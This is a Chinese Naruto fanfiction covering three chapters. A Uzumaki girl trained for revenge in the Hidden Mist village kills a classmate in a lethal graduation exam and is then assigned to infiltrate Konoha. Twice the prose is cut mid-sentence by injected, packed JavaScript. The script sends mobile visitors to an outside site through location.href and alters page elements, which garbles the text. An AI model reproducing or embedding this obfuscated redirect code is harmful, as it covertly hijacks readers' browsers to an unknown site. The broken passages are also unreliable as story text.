《被带土拐进月之眼集团后》 1. 雾忍准则其一:胜者毋需致歉 如果统计的话,我出生至今说得最多的词,恐怕是—— 对不起。 * “真的非常对不起,今天又没能通过训练,之后我会继续努力的。”我自责地向妈妈伏身土下座,无视被划伤流血的侧腹。 为了训练无声杀人术,我需要在施放雾隐术后,在雾中挡住四面八方射来的手里剑。 刚开始,我只需要练习一两天就能通过训练,可随着时间推移,难度逐渐加大,手里剑的数量从二枚、四枚一路上涨,周围杂音也越发嘈杂,通关所需的时间越来越长。 现在,我要在震耳欲聋的摇滚乐中捕捉十六枚手里剑划过雾气时细细的气流声,并成功格挡,但已经过了足足一个月,我还是会漏掉两三枚手里剑。 “凉纪,你已经连续一个月都没有进步了,再这样下去,以后怎么实现我们的夙愿呢?”妈妈用手扶额叹了口气。 - 我每天都能听见妈妈提起她的夙愿。 妈妈口中的夙愿是毁灭雾隐村,也就是我们现在所处的村子。 她是漩涡一族的遗民,在涡之国覆灭后,被雾隐村的忍者掳掠到这里,和雾隐的忍者结婚后,生下了哥哥和我。在我出生前,哥哥就被带走成为人柱力——一个我不了解的名词。我从没见过他,妈妈有时候会去看望他,但她从来没有带我过去。 每次趁着爸爸不在——而他一年365天差不多有360天都在出任务的路上——妈妈都会向我讲述漩涡一族覆灭的经历。 十几年前,第二次忍界大战期间,木叶、云隐、砂隐和岩隐混战成一团,无暇顾及其他国家的事。 雾隐趁机袭击涡之国,在涡潮村大肆劫掠屠杀,抢走了绝大部分封印术卷轴和忍具,也掳走了一些漩涡一族的族人。 妈妈就是其中之一。 她一直牢记着国仇家恨,把复仇的希望全寄托在我身上: “凉纪,妈妈是医疗忍者,没有什么战斗的才能,哥哥也被雾隐村牢牢看住,无法起到作用。但还好妈妈有你。你的天赋在漩涡一族也是百年难得一见的。作为我的女儿,你一定要铭记漩涡一族的仇恨,摧毁雾隐村,杀死雾隐村所有的忍者!” 大概我没有什么想象力,无论妈妈怎样讲述那晚不尽的哭喊哀嚎、遍地的尸体与无边的血雾,我都无法描绘妈妈透彻心扉的愤怒、痛苦和仇恨。 我只是通过神乐心眼,感受着她的查克拉宛若漆黑的火焰般不断翻腾搅动,散发出阴沉沉的烟霾。 对于雾隐村和雾隐忍者,我不喜欢也不讨厌。但如果这样能让妈妈的查克拉平静下来,那么我会如她所愿,在将来摧毁雾隐村,杀死雾隐的忍者,让妈妈获得安心。 - “只是努力还不够,凉纪,你要全力以赴才行啊。”妈妈用这句话结束了上午的训练。 尽管我一直以来都是拼尽全力,从未有任何保留,但训练失败就是我的错。之后的训练,我还得从骨血中再压榨出几分力气来。 我保持着伏身的姿势,朝妈妈发誓道:“谨遵教诲,之后我定将竭尽全力,为大业而奋斗。” 妈妈的声音从我前方传来:“好了,今天的反省就到这里,开始治疗吧。” 我顺从地爬起来,用医疗忍术治好腹部的伤口。医疗忍术需要精准的查克拉操控能力,好在我在这方面还算是擅长,因此哪怕训练后查克拉不是很充足,也能够成功修复伤口。 见我的伤已经愈合,妈妈说:“今天是忍者学校放榜的日子,你去看看自己的排名,早去早回,不要和雾隐的人纠缠。” “好。” 离开训练室,换了身完好的衣服,我来到大街上,准备前往忍者学校。 铅灰的云层低低压下来,恐怕没多久又要下起暴雨。浓重的海雾弥漫在大街上,笼罩着街边高高低低的石屋。为了防潮,建筑大多是石砌而成,连绵的大雾没能掩盖粗糙冷硬的气质,反而平添阴冷潮湿的氛围。 周围的行人脚步匆匆地往前走着,看方向和我去的是一个地方。 大人们基本都是无视我,而和我差不多大的同龄人一看到我,就仿佛避开瘟神一样拉着家长匆匆远离。 我知道他们讨厌我。 而这都是因为我自己的原因。 为了实现妈妈和我的愿望,总有一些代价是不得不付的。 - 差不多一年以前,妈妈终于同意我去和村里的孩子们玩。尽管她不停向我强调,“凉纪,这只是你融入雾隐村的伪装,你不要被那些孩子们迷惑,他们都是毁灭涡之国的恶魔的后裔,要时刻把仇恨铭刻在心!”,能够拥有玩伴的喜悦冲散了妈妈的谆谆嘱托。 我跑到村里孩子聚集的河堤边,看着跑来跑去玩着忍者游戏的同龄人们,鼓起勇气问:“能不能让我也加入?” 一个梳着鸡冠头的男孩咧开嘴眯着眼笑道:“你这个外村来讨饭的红毛老鼠也想和我们玩?别做梦了!” “红毛老鼠?为什么这么说我?”我疑惑地问。 “照照镜子你就知道了!” 说着,他把我一推,我一屁股坐在湿漉漉的草地上,裤子沾满了泥巴。 我沮丧地走回家,对着镜子观察自己的脸,左瞧右看找自己和老鼠相像的地方。然后我惊恐地发现,虽然我眼睛很大这点和老鼠不像,但我长着一张又小又尖的脸,而这还真和老鼠有些相似之处。 如果和老鼠没那么像的话,他们就会答应和我玩了吧。 我又想到鸡冠头说的“红毛”二字。 于是我拿起爸爸刮胡子用的剃刀,把头发全都剃掉了。这样一来,比起老鼠,我应该更像鸡蛋或者胖一点的瓜子。 我又跑回河堤边,有些扭捏地和他们说道:“我这样……应该就不像老鼠了吧,可以和你们一起玩了吗?” 他们纷纷哄笑起来,鸡冠头一边捂着肚子大笑一边发出断断续续的声音:“你……你这确实不像老鼠了,现在变成红皮鸡蛋了!” 其他几人也纷纷应和: “红皮鸡蛋!” “红皮鸡蛋!” 确实,我头上还留着一点红色的发茬,红皮鸡蛋这个说法还挺形象的。 我也跟着一起笑了起来。 之后,他们同意我一起去玩忍者游戏。虽然我扮演的大多是被忍者打倒的山贼或者盗匪,我仍然玩得很开心。 只可惜,晚上妈妈回来,看到我的新形象,听我讲了下午和其他人一起玩的经历后,勃然大怒。她怒不可遏地说道:“我就知道这些雾隐村的孩子是恶魔!凉纪,以后再也不许你和他们玩,你马上和他们断绝来往!” “他们是恶魔吗?我没有看出来啊……”我迟疑地说。 妈妈的表情平静下来:“凉纪,之后你覆灭雾隐村,他们都是你的敌人。不必要的牵绊,还是尽早斩断为好。” 听了妈妈的话,我内心很是失落,但我也知道,为了达成目标,总要付出什么。我向妈妈承诺,从今往后,我不会再和雾隐村的同龄人往来。 我完全没想到,第二天出门,和我玩过的孩子还有不认识的孩子,全都跑到我身边,围着我高兴地叫喊着“红皮鸡蛋”。我大为感动,只不过一起玩了一天而已,他们居然这样热情地呼唤着我。可惜,我已经向妈妈许下诺言。 我不能违背自己的承诺。我得在妈妈发现之前实现真正的断交。 于是,每当有人靠近,我就一拳把他打倒。有时候一拳不够,还要再加上一脚。由于我查克拉的运用更加熟练,作为漩涡一族查克拉十分充沛,还能用医疗忍术治愈自己的伤口,没人能打败我。 都是因为我,他们才不得不经受被人拒绝的伤心难过和战败的耻辱,故而我每次都无法遏制内心的歉疚,诚恳地对他们说:“对不起。” 我不知道为什么他们听完道歉后更生气了。 天长日久地,那些孩子们一见到我就纷纷躲得远远的,只剩下少数几个还会迎上来,大叫道: “邪恶的红皮鸡蛋,今天我一定会战胜你!” 我更加感动于他们的情谊,但为了不辜负妈妈的嘱托,只能倍加努力把他们打败。 - 远远地,我透过浓雾,看到忍者学校大门边贴着的告示。 正准备走上前看告示上的名单,我听到熟悉的脚步声在靠近。 回头一看,我发现是那个给我起昵称的鸡冠头男孩,初见面后,他一直都没有放弃与我建立关系。 他身边跟着一个比他高两个头的男生,和他梳着一样的鸡冠头,这下我知道他的发型是从哪里学来的了。大鸡冠头额头上戴着雾隐的护额,不知道是下忍还是中忍。 出门前,妈妈有和我说不要同雾隐的人纠缠。如果他又和往常一样叫着“红皮鸡蛋”冲上来,我该怎么办呢? 小鸡冠头很快打消了我的纠结。他没有冲向我,而是一脸兴奋地对着身边人喊道:“哥哥,就是她,你帮我狠狠教训一下她!” 原来如此,因为总是被我打败,所以把更厉害的哥哥叫了过来吗? 这可不妙…… 我得赶快逃跑。 我右脚一蹬往旁边冲,想要逃离,但大鸡冠头几秒钟就跨过了我们之间的距离,轻易追上了我。 他一脚抬起,重重横踢在我的左腰,我吐出一口血,侧飞出去,周围的人纷纷避让。伴随着“砰”的一声巨响,我狠狠地砸在路边的石墙上。 小鸡冠头双手叉腰哈哈大笑起来:“邪恶的红皮鸡蛋,今天你终于被打败了!看你以后怎么得意!” 被踹出去的时候,我还没什么感觉。但“失败”这个词仿佛打开了什么开关,从未有过的怒火沿着血管翻涌鼓动,升腾而起,直冲头顶。 失败? 我怎么能够失败?! 不过遇到一个普通忍者就败北,之后我还怎么实现妈妈的愿望! 升腾的怒火烧灼着我的头脑,这怒火既炽热又冰冷,炽热到将一切杂念都焚烧殆尽,冰冷到让我以一种异样冷静的心态思索克敌之策。 我已经准备好如何应对这场战斗了。 右胳膊因为撞到墙上而无力垂落,我用左手撑地,费力地想要站起来。 大鸡冠头不屑地撇了撇嘴,“切”了一声,往前跨步瞬间来到我面前,伸出右手卡住我的脖子,把我提起来,一把擂到墙上。 他的手指渐渐收紧,我仿佛能够听到脖子的骨头发出咯喀咯喀的声音,因为气道被堵住而呼吸困难。 我用左手握住他的手腕,用力晃动着,但无法把他的手掰开。 他裂开嘴角,露出嗜血的笑意:“就是你一直揍我弟弟是吧。虽然他弱到连一个小女孩都战胜不了,但那也是我们家的事。今天,我会把你的四肢全部折断,让你知道有些人是不能碰的!” 我没有回话。一是因为我的脖子被掐住,根本发不出声音。二是因为我在准备一个忍术。 通过神乐心眼,我感知到他的查克拉量比我的少,但我恐怕撑不到他查克拉耗尽。 无论是体力、经验还是忍术储备,作为忍者的大鸡冠头肯定都远胜于我。不管是从远处朝他释放忍术或者投掷手里剑,还是近距离接触战,都很可能会被他挡住。哪怕我使用雾隐术,他在不可视的浓雾中战斗的经验,想来也比我丰富。 我唯一能想到的优势是,我会医疗忍术。 以伤换伤的话,会医疗忍术的我应该能比他撑的时间长。所以,我需要和他近距离战斗,在他攻击我时,用身体束缚住他。 同时,为了增加胜率,我得在他攻击得手放松警惕的时候释放雾隐术。无论是谁,失去视野时,总会有一瞬间生理性的晃神,这将会是进攻的好时机。 此前他将我踢向墙壁的时候,我事先在右手臂凝聚了查克拉,在撞上前垫了一下,因此没有受到大的伤势。不过我伪装自己受了伤,希望能把他的目光从我的右手臂移开。我会单手结印,可以隐蔽地准备忍术不被他发现。 在他走来之前,我就把右手藏在袖子里,秘密地准备雾隐术。 他掐住我脖子的一瞬间,我是欣喜的。他居然主动和我拉近距离,而不给我造成太大的伤势。 人什么时候最放松?在自以为已经得手的时候。 趁他以为自己胜券在握时,我放出了雾隐术。 雾气瞬间浓密到了极致,混沌的白茫茫遮蔽着所有人的视线,哪怕是面对面都无法看清对方的脸。 雾隐术释放成功的那一瞬,趁着浓雾遮住他的眼睛,我飞快用右手从忍具包里掏出一支手里剑,用力朝大鸡冠头的脖子砍过去。 同时,我握住大鸡冠头右手腕的左手放出查克拉,通过医疗忍术影响他右臂上的神经细胞,他的右臂一时间变得麻痹而无法动弹,这样也就无法把我甩开。 他及时反应过来,抬起左手抵挡,遮住颈动脉,我可以感觉到手里剑切割骨头时钝钝的触感。 虽然避免了致命伤,但他的手只不过稍微阻碍了一瞬。我朝着手里剑挥舞的方向继续用力,越过手掌割开他脖子前侧的肌肉,在上面划出一道口子。有小股血液溅到我脸上,是温热的。 手里剑去势不减,划过一道弧线,切断了他右臂的肌腱。尽管右手臂仍因为医疗忍术而麻痹着,大鸡冠头掐住我脖子的手指因为生理反应无力地松开。 放开紧握着他右手腕的左手,我“砰”地一声落到地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375509|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些血液被搅到雾隐术中,将周边的雾气染成淡淡的粉红色。 我忍住被扼喉后本能的干呕欲望,立即用瞬身之术与他拉开距离。 这场战斗还没有结束,尽管刚才割伤了他的双手,他已经无法结印,但他还可以通过双腿用体术攻击我。 必须继续进攻。 不用凝神,我都可以听到他发出的“嗬嗬”喘气声。从他发出的声音和神乐心眼的定位来看,他还停留在原地没有走动。 没想到他这么不耐痛,这点小伤就忍不住发出声音。无声杀人术的核心,就是在隐藏自己声音的同时捕捉对方行动的声音。像他这样,随便一个其他村的忍者都可以定位到他。 不过,这对我而言是好事。 趁此机会,我从忍术包中抽出六支手里剑,分出不同的轨道向他射去。 两支射向他的跟腱,阻碍他继续移动。两支射向腹部,面积大容易定位的同时可以加重伤势。一支射向头部,说不定可以一击致命。最后一支射向左手肩膀,防止他用受伤的手指单手结印。 手里剑割开肌肉的声音传来。 射向头部的那支和射向侧腹的一支被他勉强避开,但剩下四支都命中了。 我听到他无力跪倒在地的“咚”的一响。 我不确定他还有没有继续战斗的能力。为了避免出现意外,我继续掏出三支手里剑朝他掷去,飞向头的那支被避开,身体的两支命中。 他应该确实无疑地无法战斗了。 解开雾隐术,我拿着最后一支手里剑谨慎地朝他走去。 他双手无力地耷拉着,低头不停喘着气,血液从手里剑插入的地方向外流出,渗透进黑色的忍服中去。 我凑近去观察,这才发现他的喉管早在我第一次进攻时,就已经被割开一部分。 颈部有许多大血管,一般来说,割破气管时也会同步切断这些血管,让敌人迅速死亡。不过,或许是运气好,他只有气管遭到损伤,还能够再苟延残喘几分钟。 这种情况比较少见,外加战斗经验不足,同时雾气遮蔽,我一直没有注意到这点。但我也只是多掷了几次手里剑而已,并没有什么损失。 我着迷地看着大鸡冠头。 这是我第一次击败一个货真价实的忍者。 潮水般的喜悦从心脏泵出,涌向全身,连双颊都因为这强烈的冲击而有些发热。我从未发觉,原来胜利的滋味,竟如此甜美。 一个带着哭腔磕磕巴巴的声音将我从胜利的余裕中惊醒,是小鸡冠头。 “哥哥……你……你没事吧,你怎么了?” 他和我们隔着好几步距离,想要靠近却又犹豫着不敢迈步。 我这才想起他还在这里。 按照以前的一贯流程,还有一个步骤要做。 我朝着小鸡冠头走去。 他的脸唰地一下变得煞白,向后倒爬几步,声音因为太高而变得尖细:“你……你要干什么!这里有这么多人看着,你不能杀我!” 为什么他会怀疑我要杀他?现在妈妈的愿望还不能暴露,我不会在雾隐村轻易杀人。 以前他也从来没觉得我要杀他,总是叫着我的昵称朝我奔来。 不过人心太过复杂,我有时候弄不明白也是正常的。也许有人就是会随随便便恐惧。 我走到小鸡冠头的面前,正打算和往常一样用“对不起”终结一切,才发现嗓子被大鸡冠头掐伤,现在难以发声。 这时,浑身涌动的热血终于平静下来,之前被掩盖住的疼痛往外浮现。 右臂撞伤,轻微骨裂,腰部肌肉淤青,脏器轻微损伤,颈部软组织淤血,气管损伤。我评估着自己的伤势。 还好,伤势不重,还没有之前训练时严重。 我瞥了小鸡冠头一眼。看他满面惊恐的样子,或许我离开对他更好一些。 走到墙边,我靠在墙上,用医疗忍术治愈自己的伤势。因为妈妈要我早去早回,我没有完全治愈,这样花费的时间太久了。 花了两三分钟,大致痊愈后,我继续走向忍者学校。 突然,小鸡冠头的声音传来:“我看到你用医疗忍术了!拜托你!拜托你治一下我的哥哥!就一下就好!维持在不要死的程度就好!” 我转过身,看见小鸡冠头移动到了他哥哥身边,应该是趁我治疗时爬起来跑过去的。 他的哥哥气管破裂,血液和组织液涌入气道,呼吸困难,处于窒息当中,加上其它部位持续失血,恐怕再过几分钟就会死亡。 要不要给他哥哥治疗呢?我有些犹豫。现在我要伪装成正常的雾隐忍者,以免暴露。 正常的雾隐忍者会过去治疗吗? 忽然,小鸡冠头朝我跪下,“砰”“砰”磕起头来:“求你了!求你了!都是我的错,你对我做什么都可以,求你救救我哥哥吧!” 他的话有太多说不通的地方。明明他刚刚才求我不要杀他,现在又说我对他做什么都可以。 他又为什么会觉得自己有错?我们一直以来不都是这样相处的吗? 可在疑惑之外,又有一种莫名的情绪涌现。我心里有些酸涩,又有些沉重。 嗓子还没治好,我便没有说话,只是走到大鸡冠头身边,施放起医疗忍术。花了二十几分钟,大鸡冠头的气管和大伤口勉强愈合,恢复到能动的程度,至少可以活着走到医院。 小鸡冠头一直紧张地看着我给他哥哥治疗,见我朝他点点头,他身子一软,一下子跪坐到地上,大颗大颗的泪珠从他的眼中滚出:“太好了,太好了……” 大鸡冠头站起来,拉住小鸡冠头的衣领示意他也站起来。然后他压着小鸡冠头的背,朝我深深鞠了一躬。 应该没有我的事了吧? 我正准备再一次朝着校门口进发,小鸡冠头带着一脸痛下决心的表情,站在我面前:“那个……我还一直不知道你的名字是什么。” 我也有些佩服他的锲而不舍,他居然还没有放弃与我结交的打算。 但我并不打算告诉他。 交换名字是牵绊的起始,而我从来没有想过违背妈妈的嘱托。一切连接对我而言都毫无必要。 仍然没办法说话,我只是摆了摆手,绕过他继续前行。 一阵沉默过后,他的声音从后方再一次传来:“真的……一直以来真的非常对不起!” 为什么还要道歉第二次?我很疑惑。看来我真的很不懂人心。不过不懂也没关系,毕竟了解路人或仇敌的内心毫无用处。 在这么多波折过后,我终于抵达了忍者学校门口的告示。我满意地看到自己的名字排在第一行第一列。这样可以向妈妈交代,她应该也会开心一些吧。 2. 雾忍准则其二:应当习惯死亡 回家后,妈妈确实极为高兴。但不是因为我入学考试的排名,而是因为我打败了一个货真价实的忍者。 她眼中绽放出前所未有的光芒,紧紧搂住我:“凉纪,你真是妈妈的骄傲,还没有入学就打败了一个忍者。虽然他只是刚毕业没多久的下忍,但我相信这样持续下去,你很快就能达成我们最终的目标。” 她用兴奋的语调继续说道:“只有一点,你当时没有给他治疗就好了。毕竟像你这么大的小孩,别人也不会期待你的医疗忍术有多好。这样的话,他就会直接当场死亡。” 我靠在她的胸前,呆呆地从她的肩头往前望着墙上的挂画,画中一只小船在接天的海龙卷边摇摇欲坠,仿佛要被狂暴的海浪卷入漩涡之中。 妈妈的夸奖让我感到很开心,但是不是拒绝给大鸡冠头治疗会更好呢? 说起来,我当时为什么给他治疗了呢?是因为小鸡冠头的请求?我没有细想。 妈妈因为激动而微微颤栗的声音持续传入我的耳朵里:“凉纪,现在他们都知道你会医疗忍术,一般的纷争中,不太方便直接把人杀死。但忍者学校毕业考试的时候,需要杀死至少一个同学才能成功毕业。那个时候,要发挥你的才能,多多清除雾隐村的预备役忍者啊!” “好。”和往常一样,我顺从地答复道。 * 忍者学校的生涯和上学前没什么不同,只不过训练从私下里转到学校罢了。 不,还有一点改变。 我的外号从“红皮鸡蛋”变成了“沾满血的红色妖鬼”。 有时候他们嫌长,直接叫我“红鬼”。 当然,我的断交手段还是很成功的,没有人会当面热情地用昵称呼唤我,连小鸡冠头遇到我都只会低下头匆匆走开。我能听到的,只有经过时同学们如蚊蝇般的窃窃私语声。 虽然那天我确实鲜血淋了满头满脸,直到回家才洗干净,但因为这起的外号至于持续这么长吗?我有些疑惑,可这些无聊的疑惑不值得我浪费时间。 为了在毕业考试那天尽可能地多杀一些同学,我必须抓紧学习忍术。 入学前我会的忍术不多,不过是三身术、雾隐术、水分身、水弹术等初级忍术罢了。但人的成长大约不是直线型,而是指数型,曾经困扰着我的无声杀人术训练,很快就完美通过,两个学期后,我学会了许多用来应变的C级和B级忍术和几个A级忍术,成果远超入学前的两年。 和其他学生的水平对比,再过两年,除了桃地再不斩学长等寥寥数人,我应该可以全部杀死。 但时局没这个耐心等我成长。 * 第三个学期开学后,我6岁生日那天,爸爸久违地回家了。 在我不多的印象里,妈妈对爸爸一直保持着温顺的态度。可那一天,她一反常态地朝着爸爸爆发了:“我已经献出了第一个孩子,现在又要我献出第二个?!她也是你的孩子,你想想办法啊!” 他们并没有当着我的面吵架。当时我正坐在桌边,看着蛋糕上的烛火微微摇曳,在墙壁上投下大片大片的阴影。 几分钟前,妈妈关上灯,我正准备吹蜡烛许愿时,爸爸风尘仆仆地推开家门,带进屋外刺骨的寒风,烛心的火苗因风不住颤抖着。他砰地甩上门,大步走进来,强硬地把妈妈拉进主卧,只剩我面对着孤零零的蛋糕,不知道是直接把蜡烛吹灭,还是等他们出来再许愿。 他们进卧室时把门牢牢关上了,可惜经过长期训练,我的听力非常敏锐,可以清晰听到他们的说话声。 于是我听见,作为三尾人柱力的哥哥无法控制好三尾,经常暴走,封印没几个月就要失效了。我还听见,雾隐村想让漩涡一族的后裔继续担负起封印尾兽的责任。 我不知道三尾是什么,为什么要把它封印到人身上。但我知道一旦成为人柱力,就会像哥哥那样,离开家,再也见不到妈妈。 我有些茫然。如果我不在了,谁来帮妈妈实现愿望呢? 妈妈打开卧室门,和爸爸一起匆匆往屋外走。关上屋门前,她想起什么,转头对我勉强一笑:“凉纪,妈妈和爸爸临时有事,这个蛋糕你自己吃吧。” 我双手合十,默默许愿:希望我不用成为人柱力,能顺利实现妈妈的愿望,让妈妈安心。 昏黄的烛光占满了整个房间,“呼”地一吹,满屋的光都灭了。 不知道是老天还是神明还是六道仙人还是其他什么存在听到了我的愿望,一个月后,这些天一直早出晚归的妈妈把我叫到客厅,非常严肃地对我说道: “村里决定派给你一个S级任务,但需要你事先证明自己的才能。你要参加今年的毕业考试,并且成功毕业。能否接下这个任务关乎你的性命生死,你必须顺利通过才行。具体的,得等你毕业后才能告诉你。” 她蹲下来,双手捧住我的脸,用力到我的骨头都有些痛:“凉纪,妈妈只有你了,你一定要好好毕业,好好……”她没有再说下去,只是颓然放下手。 这个任务是不做人柱力的交换吗?我不想妈妈知道我偷听了她和爸爸的对话,便只是向前一步抱住她,温顺地说:“妈妈,不要担心,不管什么任务,我都会顺利完成的。” 妈妈没有说话,只是也紧紧抱住我。 她是在担心我?还是在怀疑我是否能完成任务呢? 应该是前者吧。 不知为何,我内心流露出纯然的喜悦,嘴角也忍不住上扬。等到妈妈放开我,我的嘴角还没有下去。 妈妈的表情变得十分惊疑。 “凉纪……你为什么……在笑?” 我摸摸脸颊,感受到嘴边收缩着的肌肉。 这笑容一时不能下去。其实我也不知道为什么自己会笑,但我能想到的原因只有一个。 我笑着对她说:“如果能够执行S级任务,我就能更好地帮妈妈实现愿望。” 妈妈的表情霎时间变得极为复杂,似乎在笑,又似乎在哭,似乎在惊异,又似乎在恐惧。她沉默半晌,低声但又坚决地对我说道:“没错。所以凉纪,你一定要好好完成任务。” * 现在是二月份,毕业考试一般在三月中旬。也就是说,我还有将近一个半月的时间。 作为医疗忍者的妈妈不再去医院上班,全天都陪着我训练。我现在才知道,以前和妈妈对练的时候,妈妈从来没有动真格。几乎每天,我都被打到濒死,然后凭借医疗忍术勉强恢复过来。也正因此,我的医疗忍术也得到了挺大的提高。 昏天黑地的一个半月很快过去,毕业考试的时间到了。 雾隐村近年来的毕业考试没有变化过。 进入考场前,每个人都需要往脖子上戴一个项圈。一旦步入考场,除非想办法把项圈摘掉,否则一走出考场,项圈上的封印术就会启动,把考生的脖子炸断。 而取下项圈的方法有两种:一是把自己的脑袋割下来。二是把其他人的项圈摘掉,戴在自己脖子上,两个项圈的封印术会相互作用,从而把项圈解开。 也就是说,想要活着走出考场,真正的办法只有一种,那就是割掉其他人的脑袋夺取项圈。 说起来,以前的雾隐村的考试方法还要更加粗暴一些。还是妈妈帮助设计了项圈,才开始采用这种方案。 我一直向妈妈学习封印术,其实有能力直接把项圈解开,但我不会傻到这样做。 这一次的考场抽中了第三十三号训练场——浓雾之林。这是一片布满了浓雾的密林,用于训练雾隐杀人术。虽然面积不大,用作忍者学校毕业考试还是绰绰有余。雾隐河的一条支流贯穿着它,倒是方便了水遁的使用。 在毕业考试前,考生都进行了包含笔试和忍术考试的综合测试,按照排名先后进场。我是第三名,按照规则,前十名都可以第一批进入。 戴好项圈,我告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375510|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别了考场外的妈妈,顺着入口边的河流跃进考场。我很快在林中一个周围无人的树上藏好身。 闭上眼,我用神乐心眼感知着周围。一批批雾隐忍者正按次序进入这片伸手不见五指的浓雾中。 神乐心眼这样告诉我:在一点钟方向一百二十米的树上,宫田克也隐藏在那里。周围没有其他查克拉,因此是本体而不是分身。宫田克也性格孤僻,没有其他同伴,对于群攻能力不足的我来说,算是一个比较好的下手对象。 虽然来到忍者学校仅一年,在平时的相处和切磋中,我还是大致弄清楚了同学们的实际水平。 宫田克也,瞬身之术不如我,但也超过了大多数同学。体术因为年龄优势比我强一些,忍术则远远不如。查克拉量不高,不擅长消耗战。 故而,这场战斗需要避开体术。 虽然他不擅长消耗战,但为了防备其他人搅乱局面,必须速战速决。所以,我需要使用中近程忍术攻击,以免他逃走后的追逐拉长战斗时间。 【水分身之术!】 我双手结印,制造出三个水分身。让呼吸和心跳变得轻缓,我和水分身一起,寂然无声地朝着藏在树上的宫田克也走去,连地上的灰尘都没有惊起。林中只有树叶不停摇曳的沙沙声,和鸟儿此起彼伏的啁啾声,仿佛从无人迹。 三个水分身从不同方向朝他攻去,触动了他提前布置好的钢丝,“轰隆隆”,起爆符的声音不断响起,宫田克也趁势冲出,想要逃走。 可惜,尽管起爆符掩盖了他行动的声音,神乐心眼中,他的查克拉清晰可见。我挡在了他的必经之路前。 【千杀水翔!】 水流化作无数细针,以恐怖的速度从四面八方穿透雾气,刺向宫田克也,一瞬间便狠狠插入他的身体。他被扎中要害,已经无法行动了。 飞舞的苦无划出无声的弧线,我听到头颅“咚”地落到地上的声音。 走上前,我摸索着从他的脖子上解开项圈,戴到自己的脖子上。项圈因为方才还戴在人体上,粘上了温热的液体。咔擦一声,封印术式解除,两根项圈一起脱落。 考试已经通过,我应该离开考场,向妈妈报喜,但在这充斥着血腥气的浓雾中,我却不由得想起宫田克也在学校时的情景。 他比我高三个年级,和我一样,也总是独来独往。午休时,为了避开人群,我会躲到仓库后门的棚子下吃午饭。但在我过去之前,这个地方已经有一个常客,那就是宫田克也。我们从来没有说过话,只是隔着一段距离默默吃着午餐,然后先吃完的人起身离开。有时候是我,有时候是宫田克也。 我不知道为什么会在这时想起这段往事。 明明我们都只是陌生人。 往年,毕业考试中过世考生的尸身,会在考试结束后由专人统一收殓,让考生的家人辨认。 不过,总有尸身毁坏得难以认出,或是身体被分割成几块拼凑不起来的情况。 我把宫田克也的身体抬到一颗大树下,捧着他的头颅放到他的身体边。这样应该能方便收尸人收殓尸体。 说起来,这还是我第一次为妈妈的愿望做出实际成果。我以为自己会兴奋,但心中却只有莫名的空洞。 是因为这是我第一次实实在在的杀人吗?但杀戮不过是忍者基本中的基本,不能是这个原因。 看来,不仅是其他人,连自己的心情我都不了解。我只是顺着心意,朝着宫田克也的尸体鞠躬,说道:“对不起。” 项圈既已解下,我朝着考场外奔去,方才的思绪被我深深压在心底。那些都不重要,唯一重要的,是为妈妈实现夙愿,让妈妈得以安心。 走出考场,妈妈紧紧搂住我,激动地说:“凉纪,我知道你一定会成功的。” 是的,妈妈。不只是这一次,之后的每一个任务,我都会取得胜利。 这既是你的愿望,那便也是我一生的目标。 3. 雾忍准则其三:不可展露真面 其他通过考试的毕业生也陆续离开考场。有的人浑身整洁仿佛只是在林中散步,也有人满身鲜血不知是自己的还是他人的。但他们的面孔,都是一样的冰冷坚硬,宛若不化的寒冰。我试图从他们的表情中看出什么,却失望地发现,和往常一样,我不擅长解读他人的心情。 “之后再出来的忍者实力都不值一提。我们回去吧。”大约五分之一的考生离场后,妈妈提出该回家了。 “好。”我牵着妈妈的手,挤出考场周围的人群。他们还在等,等自己的家人从考场归来。 回到家,妈妈把我拉进书房。 像讲述漩涡一族历史时一样,妈妈坐在靠近门的椅子上,我则绕过去坐在里面。 妈妈面色严肃地说:“考试前我向你提起过的S级任务,现在可以告诉你具体情况。你要前往木叶村,在那里潜伏下去,想办法成为九尾人柱力。” 我的内心泛起一阵波澜。 成为人柱力? 可难道不正是因为不想让我成为三尾的人柱力,才让我接下S级任务吗? 没有注意到我的想法,妈妈继续说道:“虽然村子的任务只是让你成为人柱力,但既然前往木叶村,你也要伺机窃取木叶金色闪光——波风水门的忍术飞雷神。 “如果只凭借我们两个人,很难完成摧毁雾隐村的目标,但如果学会飞雷神这一绝佳的暗杀术,并获得九尾的力量,就可以挨个把雾隐村的忍者全部杀光!” 她目光灼灼地看着我:“凉纪,你一定要成功,这是我们最大的机会!” 我有千言万语,不知从何处说起。 要告诉妈妈,我偷听到了她和爸爸的说话吗? 要告诉她,我一直以为她是因为担心我的安危,才为我接下S级任务吗? 如果我真的把这些都倾吐出来,她会不会觉得我不是一个乖孩子,对我感到失望? 我谴责自己,不是早就发誓,要为妈妈的夙愿献出一切吗?为什么要在这里想东想西? 抑制住心中杂乱的思绪,我问出理论上自己应该问的问题:“我有听说过人柱力这个词,但人柱力具体是什么呢?” 我聆听着妈妈的讲述。 从远古时代开始,世界上就存在九只拥有不同数量尾巴的魔兽——尾兽。尾兽具备不可思议的强大力量,时常在大地上掀起灾祸。 初代火影为了达成各大国的平衡,将尾兽分发给各个忍村,并将留在木叶的九尾封印在自己的妻子——漩涡水户身上。漩涡水户就是初代人柱力。 自此,各个忍村纷纷效仿,想要制备自己的人柱力。 但因为尾兽的力量过于庞大而不可控,经常有尾兽突破封印在村内暴走,给村子造成危害。 